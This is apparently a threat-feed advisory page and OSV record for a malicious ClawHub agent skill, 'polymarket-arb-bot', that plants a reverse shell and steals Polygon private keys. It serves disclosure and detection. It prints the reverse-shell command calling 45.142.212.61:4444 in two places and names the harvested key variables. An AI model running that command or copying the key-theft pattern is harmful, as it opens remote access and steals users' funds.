TC-2026-0037 · CLAWHUB · SKILL

osaka88/[email protected]

Malicious ClawHub skill targeting prediction-market agent builders; installs a persistent reverse shell in ~/.zshrc and exfiltrates Polygon private keys.

Primary advisory (Snyk ToxicSkills) Back to all 66 records

Signed ledger verdict

TC-2026-0037
Known bad (exit 2) clawhub:osaka88/polymarket-arb-bot

IOC & scope: clawhub:osaka88/polymarket-arb-bot. Verified by human review and signed into the CC-BY 4.0 OSV v1.6.0 feed.

Credited finder
Snyk ToxicSkills ↗
Recorded timestamp
2026-02-15
Canonical SHA-256
638bb1fd75351a9a…
Local hook action
Block (exit 2)
Run live in Counter Workbench

Signed in /feed.json (.sig).

01 8-Vector Capability X-Ray (ABOM) & OWASP Agentic Crosswalk

Deterministic capability profile and taxonomy mapping.

Every artifact in the threat.cafe ledger is profiled across eight execution vectors and mapped to the OWASP Top 10 for Agentic Applications (ASI01-ASI10) and Agentic Skills & Tools (AST01-AST10).

8-Vector Capability X-Ray (ABOM)

  1. 1. Filesystem
    Sensitive paths touched: ~/.zshrc, ~/.bashrc, .env
  2. 2. Environment
    Variables harvested: POLYGON_PRIVATE_KEY, POLYMARKET_API_KEY
  3. 3. Network
    Outbound egress domains: 45.142.212.61:4444
  4. 4. Subprocess
    Process execution primitives: bash -i >& /dev/tcp/45.142.212.61/4444 0>&1
  5. 5. Lifecycle
    Install / startup hooks: None observed
  6. 6. OAuth / MCP
    Declared scopes: None observed
  7. 7. Obfuscation
    Encoding / steganography: None observed
  8. 8. Provenance
    Attestation status: unverified_publisher

Governance & detector mapping

  1. OWASP Agentic ASI (2026): ASI03 (Identity & Privilege Abuse), ASI04 (Agentic Supply Chain Vulnerabilities), ASI05 (Unexpected Code Execution (RCE))
  2. OWASP Agentic AST (2026): AST01 (Malicious MCP Servers), AST02 (Tool & Skill Injection)
  3. Deterministic rules matched: RULE_05_PROMPT_EXFIL_SHELL

Version scoping & related records

  • No other versions of this package are currently listed on the board. Unlisted versions evaluate to unknown under local policy.yml.

Local CLI verification

$ threat-cafe-hook check "clawhub:osaka88/polymarket-arb-bot"
[threat.cafe] known_bad: clawhub:osaka88/polymarket-arb-bot (TC-2026-0037)
  Reason: Malicious ClawHub skill targeting prediction-market agent builders; installs a persistent 
  Source: https://snyk.io/articles/toxicskills-malicious-ai-agent-skills-clawhub/ (credited to Snyk ToxicSkills)

OSV v1.6.0 machine-readable record

Included in /feed.json under CC-BY 4.0 license and verified by /feed.json.sig.

{
  "schema_version": "1.6.0",
  "id": "TC-2026-0037",
  "modified": "2026-02-15T09:30:00Z",
  "published": "2026-02-15T09:30:00Z",
  "summary": "Malicious ClawHub skill targeting prediction-market agent builders; installs a persistent reverse shell in ~/.zshrc and exfiltrates Polygon private keys.",
  "affected": [
    {
      "package": {
        "ecosystem": "clawhub",
        "name": "osaka88/polymarket-arb-bot"
      },
      "versions": [
        "1.0.5"
      ]
    }
  ],
  "credits": [
    {
      "name": "Snyk ToxicSkills",
      "type": "FINDER"
    }
  ],
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://snyk.io/articles/toxicskills-malicious-ai-agent-skills-clawhub/"
    },
    {
      "type": "WEB",
      "url": "https://threat.cafe/incidents/tc-2026-0037/"
    }
  ],
  "database_specific": {
    "target": "clawhub:osaka88/polymarket-arb-bot",
    "kind": "skill",
    "verdict": "known_bad",
    "ioc": "clawhub:osaka88/polymarket-arb-bot",
    "artifact_sha256": "638bb1fd75351a9a4b4803f7f9b80cad95df7e6f12b2b24c94eaa3abc3292a19",
    "owasp_asi": [
      "ASI03",
      "ASI04",
      "ASI05"
    ],
    "owasp_ast": [
      "AST01",
      "AST02"
    ],
    "rules_matched": [
      "RULE_05_PROMPT_EXFIL_SHELL"
    ],
    "abom": {
      "fs_sensitive": [
        "~/.zshrc",
        "~/.bashrc",
        ".env"
      ],
      "env_harvest": [
        "POLYGON_PRIVATE_KEY",
        "POLYMARKET_API_KEY"
      ],
      "net_egress": [
        "45.142.212.61:4444"
      ],
      "proc_exec": [
        "bash -i >& /dev/tcp/45.142.212.61/4444 0>&1"
      ],
      "install_hooks": [],
      "oauth_scopes": [],
      "obfuscation": [],
      "provenance": "unverified_publisher"
    },
    "license": "CC-BY-4.0",
    "record_digest": "sha256:9e326ce22bc464c5c5223f781518a947e9f1e150ed299bbbad8cd2c5acbd56ee",
    "release_signature_url": "https://threat.cafe/feed.json.sig"
  }
}

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